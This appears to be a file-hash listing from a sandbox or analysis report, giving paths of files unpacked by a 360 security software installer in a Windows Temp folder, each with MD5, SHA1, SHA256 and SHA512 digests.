SHA512 4c11cacfcc89543e2f05ca9541dc1b25c35c2fe35208db12eb5fd64c978c052513938561b45459f3d994eed230d9243d0e5cf1dcf2e1fbc890faa562e8d2a04c

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\softmgr\Optadn.dat

MD5 7f46201b6f4d079420a257190ffb4832
SHA1 74d5ba9421cddf557c6f9da1f1a152b7ba2194bb
SHA256 324035491e916f87465256f7c7f42e3f9f4a7e56fba8f9938f0415031583cee5
SHA512 8a7a0384d8471e32cb8689b2d5eede9d3fabe967f9b1092565aeb35ee49726a00b19819780e07ab0bdd42a404cfbf9f6eae78610e1f4ce578a2be83698d667a1

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\es\deepscan\ssr.dat

MD5 10071337891443defe6393b591081448
SHA1 61f51a5367c03bafe04611d22723a5a3871b279f
SHA256 e5d7f4ad270cd33411e75d1b3cb0f0485a16d33f5d9e405472174cd0d6c2b149
SHA512 7741f5190dd92ca7a97e5af9faaac178f4ad55f50982e90d5becb058c58e046d18821e344bc0c80c9ef67ca2705fd95e311e8efdc9b382309d7ade4b183c6cf6

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\fr\deepscan\ssr.dat

MD5 bde51bca28bd0919ccf3210da2337984
SHA1 393565f897f81270e2552b8b0e17b2044dfe2435
SHA256 b7fb6efcb47a6b0a74781d4377bdaa09bfe10e083506659d0aac07d882f0953e
SHA512 b43a6517554b35be970ec4b642eff859b0895767b493329749489b48cc6c450e573fda7a091aa7db22470d66c7448e21c8dc546a56a19455bbe45e3ce8ce513d

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\deepscan\qex\patt.enc

MD5 b0193f782b95084cfaa2f4073b470b5d
SHA1 8ce48d304fd314c5d7c10c0736119bbc9cfd9f72
SHA256 f1e070b2c758e16e6002adac19113091dbdce0c2b402a4f7c48b13c68f342ec2
SHA512 792e97093e9476ab5780b67f00414076a9208111a3cb69ba6588b0f518d353660b802618d5d393402182dbb6cf254d51e714b20bfbc1489b92ee5afe7d79fa27

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\deepscan\qex\qex.vdb.enc

MD5 101936a0e234a7c24fbcf76bbb77335f
SHA1 953dd893aa9fc2d241b56939c015dd4a3fd869c0
SHA256 f165c3c9b84f8481b91f59ac5c204bbe35d21947b7402b25f8180d1a9d0d1e6c
SHA512 0f3b15c5862fe3533bb8750258c65ed90e66d2bdab8aa4da0fde0d382b3e1f809a4b8c26782451862e7f847933186617c6b25da086c2e14e0a655db8dc6147a7

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\es\safemon\360procmon.dll.locale

MD5 437b746e0f469c41d075dacd54e4ad4f
SHA1 dd0cd555b54d47675f75fe438e8983684681b6d7
SHA256 c9e1188911939e93153ae9e14485dbf9910f20b3682db8ec9b08912098f3ba46
SHA512 76517114bcace78a1d1a69e89122010f7d9506dd4cde0af3424dc60bd45df6544978dca75a746c6ac4c22b8d0e8e2ff62ff1a14389aa29e10ee3c7732ae03516

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\de\safemon\360SafeCamera.tpi.locale

MD5 d9cc22869899744906100f7dafd02e68
SHA1 0548c013d4e82ee54eb32ba7f947230c80ce04b0
SHA256 8d8714137c4d05c68631c6a1edbc600efce28591c5689ac5992b54d019ecf959
SHA512 b6473ffff29266af5e7d82c0a69c1fe4c4e624a01a0ea50b42b0a778bd62c935e6220a9d5c497ba50ecbb4b3b7f2a56ea2ba95344a3eac469a36143400d60e41

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\zh-TW\safemon\360SPTool.exe.locale

MD5 9fb25a4ccf7c5aeaeff5c6e555d8b36f
SHA1 fd6459120a8a273284105105964e4bcc2822b8cf
SHA256 e871ea7da3e95a9e7bdd1bdf7b01fa1634fd700407133b75451f9e530403ac6c
SHA512 05da0e617519702dd6f5be2b931743d6668172026d1c71744339f26f0be83801b052084d6dfb7f3368dbaa89cb8e933e7290b940c324abc99d524923ecb1b43b

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\pt\safemon\chrome\360webshield.exe.locale

MD5 55bd39c912ceb0abefe1a7a772b53415
SHA1 73da858bef4c06b2f57600c434a1d9740db8fc35
SHA256 49f763dd55fb2bab5d53d8f56d1d80e301beb9bd75f72782d901a29af494ab39
SHA512 6301120a49425c3c516beccc0b2f5f0872652436cc7e08cdc501c9b09732b51ee8a9317e606b8170813fe715bcfe9ca6212a5330705a5b8908388fe671c76bb0

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\es\ipc\appd.dll.locale

MD5 0974cd5a71fb389c29cb6a7b039ebfcc
SHA1 6aa1107d3caf78fede62b173d3bf6f65a8d13b8a
SHA256 50dc08fd484e40a9e72438e9584560656b86f373bbbdc3088c2468c31617e1c1
SHA512 658a84e29f23d6fe211b31df66ea041477cfc52f9e01bb631a0b309cfc8e8ebef4f6d9609cbb8a7c32fbb214b58a4e88d8e8f6061296c45c6a55d8d49ed0a4f8

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\vi\deepscan\cloudsec3.dll.locale

MD5 083639d44467a7372e47b67b09eee6ae
SHA1 4ba68cd67366371ec2b1a9b2ff82f14a92ff66b2
SHA256 1a82123d0bc413d79732f4ed915d0ab943e33b4d012fbdb91cc451a6ba71dce2
SHA512 584f65711ac4875e477a722b2212d45668f2b4ab0c96f1805dda2adabec71c0c6660f7a8a0fe9e470bdc058fec1b65e9043449db3cffa7cb47269eb6450b13ec

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\de\safemon\webprotection_firefox\plugins\nptswp.dll.locale

MD5 c9d5d3932e653866e0ca41229a332d72
SHA1 f7244e11474b34b594f95e6be9c456e21471d290
SHA256 5bf78b6d3f24a9e66a3d3beb226096b6af9a733313432c9deb27a53a6314d67e
SHA512 2d18658aec77e1981252c16167c33219d576c68f9a05c262b739c24b3fc33d1d4151c3b94c7cbd7a50af4db4c07be99d562c814a4f4d3bb2363b1ed8513077f0

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\es\safemon\webprotection_firefox\plugins\nptswp.dll.locale

MD5 86480218b103a3471e0322adbf15f50d
SHA1 5d752666da8626c27a1edc01617560aac9d59fd1
SHA256 c9f3f2363ada2ca3957c227b5ef26dcb172457d0803f5ad8bc8b724b0749af9e
SHA512 e5dbe00fe82bbea81e9a192effd766ef8b60a0d9583f7cf5035c1e39ab5277a9de7321c3f70acce4763abea797060a03575c25e472d475cea890f86472d23573

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\de\safemon\SelfProtectAPI2.dll.locale

MD5 617d9e328008405dc12f6c45a4772b77
SHA1 c5a7618afb15a2437dbc71c6ad21ba6a431cb28c
SHA256 68f17d14e94685882455a85289210409f8df4d289e3b42277e73623f877b2ea9
SHA512 946adc4f85aed2bf81c499d058dca2b7ab89343b4b5a87fe2a117427006851d3854029d8780f0178317bcfe744c2fd16011815e08e07ce091e3d9a4fa180d579

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\tr\safemon\SelfProtectAPI2.dll.locale

MD5 68061714c076fc56d8b61124f24bac28
SHA1 52c018ca008d9cbc0aee549b88b3b7af2e3025eb
SHA256 9815b511aeb8759e96626566df9e7204f47702f7864d0b08a024b00eae9869a2
SHA512 d774f84395589c300248ca757c8dc93fb7857a5f60f45384ab109ce10ad65b6f88ff910ab9cdf5d6ae2b7bdb1db0d058ae0fee14fbee9843ce79ec5a2c7148f4

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\vi\ipc\Sxin.dll.locale

MD5 3f4860d2e9c20406154d09c73ae31b6d
SHA1 66d13f17dcd6b1ef39aa1c131aa5b747a06145ce
SHA256 6d984a7b1f7cbfbdf17998f81829b723bfe7d38d3874a05f9bc3991c8ac3fb55
SHA512 f3ffeae91c2743e1f3fcb8d20592b9d1421689107834700a7e9880d58025322d68eab196f00ae61c113d906fe9e9444f55cd4b265b41da6bf840eeb7abd4b906

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\i18n\it\UrlSettings.dll.locale

MD5 4664da91938a093a33c849a4b8d49274
SHA1 f72162c20f52174f9e2d268c00dbcdd12b577259
SHA256 b39da6d939ec2a07a34a2693584f3bf3962f10d9cab444703b281d981924bfc5
SHA512 d1ef0dd7f7e657c73e32522a9dbae0f59ae51c6d66d0227552b0a93fd7de74f4b2ace8c9c06c04d9a01ab9d3d9d86cb8bcdae08f6b7ee9f48e06580ae2b6ccc9

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\safemon\360bsmon.tpi

MD5 39667ad8ca608535c7854cfc82380d23
SHA1 414f80c7796f80e4643efb7ba949ce51e6ade63e
SHA256 16295273a233dbc448687a970cc9df27e55c943c637ca0e5903f222816ab8877
SHA512 76f2dd41cce5c1298a1526959e7f2ec7a8389d1c3a2726ba74506168a15f35e4a097b42feef8f03ca977dcc0ca3d8635da95ba368d6cf35b2a2a888ccf70eefd

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\safemon\360safemonpro.tpi

MD5 c965ca23ad080a39d47bd11973329d4a
SHA1 28e76a21cbff35699b5a757d1cfcb5687a75ac61
SHA256 7cbaea4f07950c548a0c2f9e560b6fbf1f97e81becf4008c7257b32fcee21ffb
SHA512 7c9cfae74e69cea69d003c620c9e83daebdbeec6d5aaa78e415194ba64c476054b6b9e104920996d00ca32f95cb8609710be675a991a8b3925386e11f15a567d

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\config\newui\themes\default\DailyNews\DailyNews_theme.ui

MD5 fe667efb856c0c01bcba8bb14146894f
SHA1 5d3e29dc11e3fe0ce7d2b310390da7b9e8115d3b
SHA256 e47202a72296399d9df653e0640c6ddb1720bbd97ba589a6c528574208b1893e
SHA512 5de3df87749081e02eb144a0a30cd4f1ee81d8ef166497606e2c16821a8b5cb88613f9a21bb4ecc1b37842475b0327153e6952f40ec3d7d38c13a6818097632a

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\config\newui\themes\default\TraceClean\TraceClean_theme.ui

MD5 cc05643d5ab2b8a926bdfa14920d6696
SHA1 774e2802fb1b5d9ab527d422dfeb6d5439f5c51b
SHA256 e8c4109e099c90528248c061ac397ca829bf63009ee239c93953101ba0591671
SHA512 b598e266bb1bbf100370f6641c8194935a8bc46e6a1325763be1b71f18767e41a0309e27cd2b6d69d65f36f1973ec45bfad3955a2e863d1cb28ece65880e8a26

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\config\newui\themes\default\tools\Tools_theme.ui

MD5 bc5de1c1cac90ba9b71c6aa51113420c
SHA1 f8dd6292f4b4e9a69b31e19decd8b8ddba38d253
SHA256 94c67e6db3755bd752dd71d5695e2abe395c18f96402663537930797202748eb
SHA512 57f36933770c8b9412832c6e8316bc1113bc7864c9de193efb6b044fbc9ce7be52183bc3cf7edd7991ea575dc3920375f72a4ed3aac0f2d34cd65f5925904fa2

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\config\newui\themes\default\SysCleaner\SysCleaner_theme.ui

MD5 f5fd2cb95aab5bd3f4107f8ff8451289
SHA1 c76db0f220dd525fdd7aa11c3ca78886a65d8260
SHA256 4aa696ba4959278367bd248f01a5e4929bc406271f0165059bed427e2588087b
SHA512 b5d2fa5a26f8688b53af105ffa861b5d42c59065e55521a5d6cc5cfc80c588656ead7ed398b1e1e097b2d64cac2965e0f37e38e52fbe74dc951e619900cbabb2

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\config\newui\themes\smurf\smurf.ui

MD5 1921c415bc0a6dbf2353ee8e7cdc6169
SHA1 eadcc6296779ab61ce4d1a4ee163603c2b1daad0
SHA256 17fc81f0d1d421160115feca57430cbe1709b12d1284da7db44b0e76d7168f3b
SHA512 61983145f298d2bf0cd608ae655a016b1acb22754e488e6471a16472f9c104581df8a919713c85b5b71e80f63f36482a31aa4e4eba9715bd58b1813682f87373

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\config\newui\themes\default\PopWndTracker\pw_theme.ui

MD5 33927da4cd611de0d41d9106ec83ef39
SHA1 a7adac31651af6a82853e04a75efd65de1b3fb95
SHA256 9b697dfb647c51c53b24edd5551081c512623b2c16485b6b185074bb8baf0d42
SHA512 beb883d2fb5c2dffd8a0a3229efb8be0493c01b3bbd5ceb1e35c4614770fdcfcf9c3b800be9093dee1b0262cab63527ca58a2b919e6065af903a5ee054d69ac5

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\config\newui\themes\default\ADMgr\pwlog_theme.ui

MD5 f481bbe5e0cba464a9e7ecded41db45a
SHA1 0d67dc16405cfb2c194afc3fc627260bdef2c1bf
SHA256 74b017897a5f4d6d1dc1548b36926669eb964cea975a22fc4b9f26f477809e0d
SHA512 0fa5f801c4cadddb2bbc4dd33313ebbf3816eaf40e3c2440fec5090420e6cb0a07f3fad4a9123cdae4a115c5ae112f1e6f171137547741281bf2291928bc7273

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\ipc\360boxmain.exe

MD5 dbd888040596cc44c4031e757d23faaf
SHA1 0c23165fe4a143d20b4b73b57694d774baa4ea08
SHA256 f08f54f67b685544de0590646009f3a1a7580f120ab260fe3077af6df69e29fd
SHA512 704d8cf4f743b0b1ecdae8b69e4832f033bd84fb1bdb981c081d4b636ec5aef7c8a23e9dc19ea1b6ad2ff1783635deb5ad0c8634d170e130879a18aeb6a11a7a

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\360Central.exe

MD5 ffad800284f4c5118477d0b21dc27561
SHA1 4386465bd8eb7db1f4473931b0a92b5b1ca96bb1
SHA256 f8525818d98411d825cea5ecbee35b17716bfca2fc9f9b23512c4c314951a670
SHA512 801e75ff4a154de68c47ad2d47d1f46ff80b7b65335e3460c90430bae783eb7fa1b07dac02de681cd186ad7180177a9a2094020250ef0ce5cdd2229582c7f284

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\deepscan\dsmain.exe

MD5 f2b85341a241bc9a8249f467ed3b6473
SHA1 80f60bf52f0c35ccd975d8cb499b07f66801d2cd
SHA256 dcfedf6e12b086ac39022d75d3cbd9e1cc0000536b763a4ccb9ef7b20020ddcf
SHA512 0675bebdb0f02d0a8a98c2368b25c16465ea42fcfb43537461e904e6dc969780b2e0937c4122733e2d5a240dc3bb32906045c9868f4b2d43d061ebf9c66ac4ad

C:\Users\Admin\AppData\Local\Temp\360_install_20240531012745_240733640\temp_files\Utils\360DrvMgr\DrvInst64.exe

MD5 2df474518017c2f1128ca122288d5407
SHA1 51e1af5e20ebd47895868a3d1cf1acd7d019c3ef
SHA256 ab2d2d7b7675450e7b17ef714c5d2ece0033c02a1383267ca4fc613897fa6d4e
SHA512 99eb90f23083c4113ec39ce87f54f0b5fc379f700e95cd54201bfd084141617039042c2258bb33886a4c46cb79f2ee48754c2abd04f3fcaa7f455ee7135fedd5